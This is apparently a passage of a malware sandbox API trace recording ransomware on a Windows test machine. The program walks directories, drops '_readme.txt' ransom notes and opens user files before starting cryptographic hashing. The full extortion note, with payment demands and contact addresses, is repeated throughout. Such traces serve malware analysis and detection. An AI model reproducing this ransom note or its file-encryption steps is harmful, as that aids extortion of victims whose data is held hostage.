ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.869] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0119.869] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.869] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.869] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.869] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.869] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.870] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.870] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.870] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.870] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0119.870] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0119.870] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.870] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.870] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_readme.txt" (normalized: "c:\\boot\\zh-hk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.870] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.871] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0119.871] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.871] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.871] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.871] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.871] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.871] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.871] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.871] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.871] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0119.872] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0119.872] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.872] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.872] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.872] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.872] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0119.872] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.872] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.872] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.872] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.872] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.873] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.873] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.873] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.873] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0119.873] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0119.873] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xffe8a940, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffe8a940, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.873] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0119.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0119.874] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0119.874] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.874] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.874] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.875] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.875] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.875] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.875] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.875] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbdd4ad10, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbdd4ad10, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0119.875] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.875] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.875] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact") returned=".contact" [0119.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.876] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1178) returned 1 [0119.876] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.878] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.878] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.880] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x49a, lpOverlapped=0x0) returned 1 [0119.880] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.880] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.881] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.881] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.881] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.881] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.881] GetLastError () returned 0x0 [0119.881] SetLastError (dwErrCode=0x0) [0119.881] GetLastError () returned 0x0 [0119.881] SetLastError (dwErrCode=0x0) 